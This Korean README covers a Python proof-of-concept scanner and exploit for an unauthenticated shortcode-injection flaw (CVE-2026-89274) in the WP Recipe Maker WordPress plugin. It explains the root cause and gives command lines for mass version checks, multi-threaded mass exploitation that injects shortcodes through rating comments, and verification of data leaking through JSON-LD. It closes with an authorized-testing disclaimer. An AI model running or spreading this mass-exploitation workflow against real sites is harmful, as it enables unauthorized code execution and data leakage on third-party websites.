
CVE-2026-89274에 대한 Python PoC 스캐너 및 익스플로잇으로, WP Recipe Maker <=10.8.1에서 레시피 평점 댓글과 JSON-LD를 통해 발생하는 인증되지 않은 임의 숏코드 실행 취약점입니다.
WP Recipe Maker의 **CVE-2026-89274**에 대한 Python 3 PoC 스캐너/익스플로잇.
| 플러그인 | wp-recipe-maker |
| 영향받는 버전 | ≤ 10.8.1 |
| 수정된 버전 | 10.8.2+ |
| CVSS | 9.1 (치명적) |
| 인증 | 인증 불필요 (댓글 제출) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata()는 메타데이터 필드에 대해 strip_shortcodes() 이전에 do_shortcode()를 실행합니다. 승인된 레시피 평점 댓글(wprm-comment-rating)이 JSON-LD reviewBody를 채우며, 주입된 숏코드는 레시피 페이지 로드 시 실행되어 구조화된 데이터에서 출력이 유출될 수 있습니다.
요구사항: 악성 댓글이 승인되어야 합니다 (자동 승인 또는 관리자). 익스플로잇 모드에서는 --verify를 사용하여 마커가 JSON-LD reviewBody에 나타나는지 확인할 수 있습니다.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt 줄 형식 (verify 모드)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| 옵션 | 설명 |
|---|---|
-u, --url | 단일 대상 기본 URL |
--list | URL 목록, candidates.jsonl, 또는 submitted_mass.txt (verify) |
--mode | check, exploit, 또는 verify |
--recipe-url | WPRM 레시피와 댓글이 포함된 게시물 URL |
--post-id | WordPress comment_post_ID |
--recipe-id | WPRM 레시피 ID (선택적 --use-api) |
--shortcode | 댓글 텍스트 내 페이로드 (기본 프로브 숏코드) |
--marker | Verify: JSON-LD에서 마커 부분 문자열 검색 |
--verify | Exploit: 제출 후 JSON-LD에서 유출 확인 |
--use-api | Premium 사용자 평점 REST 경로도 시도 |
--threads, -j | 대량 동시성 (기본 20) |
--output | JSONL 결과 (기본 cve_2026_89274_results.jsonl) |
--vuln-list | 적중/유출에 대한 텍스트 출력 (기본 hits.txt) |
--candidates-list | Check 적중 메타데이터 (기본 candidates.jsonl) |
--quiet | 대량 실행 시 진행 출력 감소 |
| 파일 | 내용 |
|---|---|
cve_2026_89274_results.jsonl | 대상별 JSON |
hits.txt | 후보 기본 URL |
candidates.jsonl | page_url, post_id, recipe_id, version |
status 값 (check)| 상태 | 의미 |
|---|---|
candidate | 취약한 버전 + wprm-comment-rating이 있는 레시피 페이지 |
plugin_no_recipe_comments | 플러그인 존재, 적합한 레시피/댓글 페이지를 찾지 못함 |
recipe_no_comment_rating | 평점 댓글 양식이 없는 레시피 페이지 |
patched | 버전 ≥ 10.8.2 |
no_plugin | WP Recipe Maker가 감지되지 않음 |
[caption])를 사용하세요./blog/, /recipes/)은 JSON-LD 유출을 표시하지 않을 수 있습니다. 익스플로잇은 페이지를 발견할 때 단일 레시피 퍼머링크를 선호합니다.--verify는 JSON-LD 반영만 확인하며 전체 RCE를 확인하지는 않습니다..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
로컬 스캔 목록 및 실행 산출물(list.txt, *.jsonl, submitted_mass.txt, …)은 .gitignore에 있으며 커밋해서는 안 됩니다.
승인된 보안 테스트 전용입니다. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.